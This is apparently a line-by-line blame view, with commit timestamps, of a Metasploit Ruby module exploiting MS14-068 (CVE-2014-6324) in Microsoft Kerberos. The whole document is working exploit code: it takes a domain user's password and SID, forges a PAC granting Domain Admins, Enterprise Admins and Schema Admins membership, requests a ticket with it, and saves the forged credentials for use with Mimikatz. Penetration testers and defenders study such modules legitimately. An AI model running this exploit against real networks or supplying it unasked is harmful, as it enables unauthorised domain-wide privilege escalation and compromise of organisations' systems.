2014-12-18 01:57:10 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
|
|
|
|
class Metasploit4 < Msf::Auxiliary
|
|
|
|
|
2014-12-22 21:39:08 +00:00
|
|
|
include Msf::Auxiliary::Report
|
2014-12-21 02:29:00 +00:00
|
|
|
include Msf::Kerberos::Client
|
2014-12-18 01:57:10 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-12-22 20:29:02 +00:00
|
|
|
'Name' => 'MS14-068 Microsfot Kerberos Checksum Validation Vulnerability',
|
2014-12-18 01:57:10 +00:00
|
|
|
'Description' => %q{
|
2014-12-22 20:29:02 +00:00
|
|
|
This module exploits a vulnerability in the Microsoft Kerberos implementation. The problem
|
|
|
|
exists in the verification of the Privilege Attribute Certificate (PAC) from a Kerberos TGS
|
2014-12-22 23:51:44 +00:00
|
|
|
request, where a domain user is allowed to forge a PAC with arbitrary privileges, including
|
|
|
|
Domain Administrator. This module requests a TGT ticket with a forged PAC and exports it to
|
|
|
|
a MIT Kerberos Credential Cache file. It can be loaded on Windows systems with the Mimikatz
|
|
|
|
help. It has been tested successfully on Windows 2008.
|
2014-12-18 01:57:10 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2014-12-22 18:34:31 +00:00
|
|
|
'Tom Maddock', # Vulnerability discovery
|
|
|
|
'Sylvain Monne', # pykek framework and exploit
|
2014-12-22 20:29:02 +00:00
|
|
|
'juan vazquez' # Metasploit module
|
2014-12-18 01:57:10 +00:00
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2014-12-22 18:29:28 +00:00
|
|
|
['CVE', '2014-6324'],
|
|
|
|
['MSB', 'MS14-068'],
|
2014-12-22 18:34:31 +00:00
|
|
|
['OSVDB', '114751'],
|
|
|
|
['URL', 'http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx'],
|
|
|
|
['URL', 'https://labs.mwrinfosecurity.com/blog/2014/12/16/digging-into-ms14-068-exploitation-and-defence/'],
|
|
|
|
['URL', 'https://github.com/bidord/pykek']
|
2014-12-18 01:57:10 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
2014-12-22 18:34:31 +00:00
|
|
|
'DisclosureDate' => 'Nov 18 2014'
|
2014-12-18 01:57:10 +00:00
|
|
|
))
|
2014-12-22 20:29:02 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2014-12-23 00:11:43 +00:00
|
|
|
OptString.new('USER', [ true, 'The Domain User' ]),
|
|
|
|
OptString.new('PASSWORD', [ true, 'The Domain User password' ]),
|
2014-12-24 01:16:50 +00:00
|
|
|
OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]),
|
2014-12-24 01:11:05 +00:00
|
|
|
OptString.new('USER_SID', [ true, 'The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000'])
|
2014-12-22 20:29:02 +00:00
|
|
|
], self.class)
|
2014-12-18 01:57:10 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2014-12-24 01:11:05 +00:00
|
|
|
print_status("Validating options...")
|
|
|
|
|
|
|
|
unless datastore['USER_SID'] =~ /^S-(\d+-){6}\d+$/
|
|
|
|
print_error("Invalid USER_SID. Ex: S-1-5-21-1755879683-3641577184-3486455962-1000")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2014-12-24 01:16:50 +00:00
|
|
|
domain = datastore['DOMAIN'].upcase
|
|
|
|
|
|
|
|
print_status("Using domain #{domain}...")
|
|
|
|
|
2014-12-24 01:11:05 +00:00
|
|
|
user_sid_arr = datastore['USER_SID'].split('-')
|
|
|
|
domain_sid = user_sid_arr[0, user_sid_arr.length - 1].join('-')
|
|
|
|
user_rid = user_sid_arr[user_sid_arr.length - 1].to_i
|
|
|
|
|
2014-12-22 20:29:02 +00:00
|
|
|
unicode_password = Rex::Text.to_unicode(datastore['PASSWORD'])
|
|
|
|
password_digest = OpenSSL::Digest.digest('MD4', unicode_password)
|
2014-12-20 00:23:11 +00:00
|
|
|
|
2014-12-20 00:10:14 +00:00
|
|
|
pre_auth = []
|
2014-12-22 21:51:17 +00:00
|
|
|
pre_auth << build_as_pa_time_stamp(key: password_digest, etype: Rex::Proto::Kerberos::Crypto::RC4_HMAC)
|
2014-12-20 00:23:11 +00:00
|
|
|
pre_auth << build_pa_pac_request
|
2014-12-20 00:10:14 +00:00
|
|
|
pre_auth
|
|
|
|
|
2014-12-22 20:29:02 +00:00
|
|
|
print_status("#{peer} - Sending AS-REQ...")
|
2014-12-20 00:23:11 +00:00
|
|
|
res = send_request_as(
|
2014-12-22 20:29:02 +00:00
|
|
|
client_name: "#{datastore['USER']}",
|
2014-12-24 01:16:50 +00:00
|
|
|
server_name: "krbtgt/#{domain}",
|
|
|
|
realm: "#{domain}",
|
2014-12-22 20:29:02 +00:00
|
|
|
key: password_digest,
|
2014-12-20 00:23:11 +00:00
|
|
|
pa_data: pre_auth
|
|
|
|
)
|
2014-12-18 01:57:10 +00:00
|
|
|
|
2014-12-22 20:29:02 +00:00
|
|
|
unless res.msg_type == Rex::Proto::Kerberos::Model::AS_REP
|
2014-12-25 00:05:48 +00:00
|
|
|
vprint_warning("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR
|
2014-12-22 20:29:02 +00:00
|
|
|
print_error("#{peer} - Invalid AS-REP, aborting...")
|
2014-12-18 01:57:10 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2014-12-22 20:29:02 +00:00
|
|
|
print_status("#{peer} - Parsing AS-REP...")
|
2014-12-18 01:57:10 +00:00
|
|
|
|
2014-12-22 20:29:02 +00:00
|
|
|
session_key = extract_session_key(res, password_digest)
|
|
|
|
logon_time = extract_logon_time(res, password_digest)
|
2014-12-18 01:57:10 +00:00
|
|
|
ticket = res.ticket
|
|
|
|
|
2014-12-20 01:46:50 +00:00
|
|
|
pre_auth = []
|
|
|
|
pre_auth << build_pa_pac_request
|
|
|
|
|
2014-12-22 20:29:02 +00:00
|
|
|
groups = [
|
|
|
|
513, # DOMAIN_USERS
|
|
|
|
512, # DOMAIN_ADMINS
|
|
|
|
520, # GROUP_POLICY_CREATOR_OWNERS
|
|
|
|
518, # SCHEMA_ADMINISTRATORS
|
|
|
|
519 # ENTERPRISE_ADMINS
|
|
|
|
]
|
|
|
|
|
2014-12-20 00:47:41 +00:00
|
|
|
pac = build_pac(
|
2014-12-22 20:29:02 +00:00
|
|
|
client_name: datastore['USER'],
|
|
|
|
group_ids: groups,
|
2014-12-24 01:11:05 +00:00
|
|
|
domain_id: domain_sid,
|
|
|
|
user_id: user_rid,
|
2014-12-24 01:16:50 +00:00
|
|
|
realm: domain,
|
2014-12-20 00:47:41 +00:00
|
|
|
logon_time: logon_time,
|
2014-12-22 21:51:17 +00:00
|
|
|
checksum_type: Rex::Proto::Kerberos::Crypto::RSA_MD5
|
2014-12-20 00:47:41 +00:00
|
|
|
)
|
|
|
|
|
2014-12-21 23:49:36 +00:00
|
|
|
auth_data = build_pac_authorization_data(pac: pac)
|
2014-12-22 21:39:08 +00:00
|
|
|
sub_key = build_subkey(subkey_type: Rex::Proto::Kerberos::Crypto::RC4_HMAC)
|
2014-12-20 00:58:06 +00:00
|
|
|
|
2014-12-22 20:29:02 +00:00
|
|
|
print_status("#{peer} - Sending TGS-REQ...")
|
|
|
|
|
2014-12-20 00:23:11 +00:00
|
|
|
res = send_request_tgs(
|
2014-12-22 20:29:02 +00:00
|
|
|
client_name: datastore['USER'],
|
2014-12-24 01:16:50 +00:00
|
|
|
server_name: "krbtgt/#{domain}",
|
|
|
|
realm: domain,
|
2014-12-18 01:57:10 +00:00
|
|
|
session_key: session_key,
|
|
|
|
ticket: ticket,
|
2014-12-20 01:46:50 +00:00
|
|
|
auth_data: auth_data,
|
2014-12-22 21:39:08 +00:00
|
|
|
pa_data: pre_auth,
|
|
|
|
subkey: sub_key
|
2014-12-18 01:57:10 +00:00
|
|
|
)
|
|
|
|
|
2014-12-22 20:29:02 +00:00
|
|
|
unless res.msg_type == Rex::Proto::Kerberos::Model::TGS_REP
|
2014-12-26 15:22:09 +00:00
|
|
|
print_warning("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR
|
2014-12-22 20:29:02 +00:00
|
|
|
print_error("#{peer} - Invalid TGS-REP, aborting...")
|
2014-12-18 01:57:10 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2014-12-22 20:29:02 +00:00
|
|
|
print_good("#{peer} - Valid TGS-Response, extracting credentials...")
|
2014-12-18 01:57:10 +00:00
|
|
|
|
2014-12-22 21:39:08 +00:00
|
|
|
cache = extract_kerb_creds(res, sub_key.value)
|
2014-12-18 22:31:46 +00:00
|
|
|
|
2014-12-22 21:39:08 +00:00
|
|
|
path = store_loot('windows.kerberos', 'application/octet-stream', rhost, cache.encode)
|
|
|
|
print_good("#{peer} - MIT Credential Cache saved on #{path}")
|
2014-12-18 01:57:10 +00:00
|
|
|
end
|
2014-12-25 00:05:48 +00:00
|
|
|
|
|
|
|
def warn_error(res)
|
|
|
|
msg = ''
|
|
|
|
|
|
|
|
if Rex::Proto::Kerberos::Model::ERROR_CODES.has_key?(res.error_code)
|
|
|
|
error_info = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code]
|
|
|
|
msg = "#{error_info[0]} - #{error_info[1]}"
|
|
|
|
else
|
|
|
|
msg = 'Unknown error'
|
|
|
|
end
|
|
|
|
|
|
|
|
msg
|
|
|
|
end
|
2014-12-18 01:57:10 +00:00
|
|
|
end
|
|
|
|
|